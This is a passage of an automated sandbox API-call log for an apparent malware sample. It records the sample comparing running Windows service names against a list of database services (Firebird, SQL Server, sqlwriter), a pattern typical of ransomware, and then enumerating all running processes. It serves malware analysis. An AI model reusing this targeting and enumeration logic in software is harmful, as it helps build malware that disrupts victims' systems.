	[0158.586] lstrlenW (lpString="NlaSvc") returned 6
	[0158.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0158.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0158.586] lstrlenW (lpString="nsi") returned 3
	[0158.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0158.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0158.586] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0158.586] lstrlenW (lpString="PcaSvc") returned 6
	[0158.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0158.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0158.586] lstrlenW (lpString="PlugPlay") returned 8
	[0158.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0158.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0158.586] lstrlenW (lpString="Power") returned 5
	[0158.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0158.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0158.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0158.587] lstrlenW (lpString="ProfSvc") returned 7
	[0158.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0158.587] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0158.587] lstrlenW (lpString="RpcEptMapper") returned 12
	[0158.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0158.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0158.587] lstrlenW (lpString="RpcSs") returned 5
	[0158.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0158.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0158.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0158.587] lstrlenW (lpString="SamSs") returned 5
	[0158.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0158.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0158.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0158.587] lstrlenW (lpString="Schedule") returned 8
	[0158.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0158.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0158.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0158.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0158.587] lstrlenW (lpString="SecurityHealthService") returned 21
	[0158.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0158.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0158.588] lstrlenW (lpString="SENS") returned 4
	[0158.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0158.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0158.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0158.588] lstrlenW (lpString="ShellHWDetection") returned 16
	[0158.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0158.588] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0158.588] lstrlenW (lpString="Spooler") returned 7
	[0158.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0158.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0158.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0158.588] lstrlenW (lpString="StateRepository") returned 15
	[0158.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0158.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0158.588] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0158.588] lstrlenW (lpString="SysMain") returned 7
	[0158.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0158.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0158.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0158.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0158.589] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0158.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0158.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0158.589] lstrlenW (lpString="Themes") returned 6
	[0158.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0158.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0158.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0158.589] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0158.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0158.589] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0158.589] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0158.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0158.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0158.589] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0158.589] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0158.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x756788 | out: hHeap=0x710000) returned 1
	[0158.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0158.598] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0158.599] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0158.599] lstrlenW (lpString="System") returned 6
	[0158.599] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0158.600] lstrlenW (lpString="smss.exe") returned 8
	[0158.600] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.600] lstrlenW (lpString="csrss.exe") returned 9
	[0158.600] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0158.600] lstrlenW (lpString="wininit.exe") returned 11
	[0158.600] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.601] lstrlenW (lpString="csrss.exe") returned 9
	[0158.601] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0158.601] lstrlenW (lpString="winlogon.exe") returned 12
	[0158.601] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0158.602] lstrlenW (lpString="services.exe") returned 12
	[0158.602] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0158.602] lstrlenW (lpString="lsass.exe") returned 9
	[0158.602] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0158.603] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0158.603] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0158.603] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0158.603] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.604] lstrlenW (lpString="svchost.exe") returned 11
	[0158.604] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.606] lstrlenW (lpString="svchost.exe") returned 11
	[0158.606] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0158.606] lstrlenW (lpString="dwm.exe") returned 7
	[0158.606] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.607] lstrlenW (lpString="svchost.exe") returned 11
	[0158.607] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.607] lstrlenW (lpString="svchost.exe") returned 11
	[0158.607] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.607] lstrlenW (lpString="svchost.exe") returned 11
	[0158.607] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.608] lstrlenW (lpString="svchost.exe") returned 11
	[0158.608] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.608] lstrlenW (lpString="svchost.exe") returned 11
	[0158.608] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.609] lstrlenW (lpString="svchost.exe") returned 11
	[0158.609] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.609] lstrlenW (lpString="svchost.exe") returned 11
	[0158.609] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.610] lstrlenW (lpString="svchost.exe") returned 11
	[0158.610] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.610] lstrlenW (lpString="svchost.exe") returned 11
	[0158.610] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.610] lstrlenW (lpString="svchost.exe") returned 11
	[0158.610] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0158.612] lstrlenW (lpString="spoolsv.exe") returned 11
	[0158.612] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.612] lstrlenW (lpString="svchost.exe") returned 11
	[0158.612] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0158.613] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0158.613] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0158.613] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0158.613] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0158.614] lstrlenW (lpString="audiodg.exe") returned 11
	[0158.614] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0158.614] lstrlenW (lpString="Memory Compression") returned 18
	[0158.614] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0158.615] lstrlenW (lpString="taskhostw.exe") returned 13
	[0158.615] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0158.615] lstrlenW (lpString="sihost.exe") returned 10
	[0158.615] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.615] lstrlenW (lpString="svchost.exe") returned 11
	[0158.615] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0158.616] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0158.616] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0158.616] lstrlenW (lpString="taskhostw.exe") returned 13
	[0158.616] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0158.617] lstrlenW (lpString="explorer.exe") returned 12
	[0158.617] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0158.617] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0158.617] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0158.617] lstrlenW (lpString="SearchUI.exe") returned 12
	[0158.617] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0158.618] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0158.618] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0158.618] lstrlenW (lpString="mobsync.exe") returned 11
	[0158.618] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0158.619] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0158.619] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0158.619] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0158.619] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0158.620] CloseHandle (hObject=0x240) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72db90 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d908 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724c00 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724aa0 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726078 | out: hHeap=0x710000) returned 1
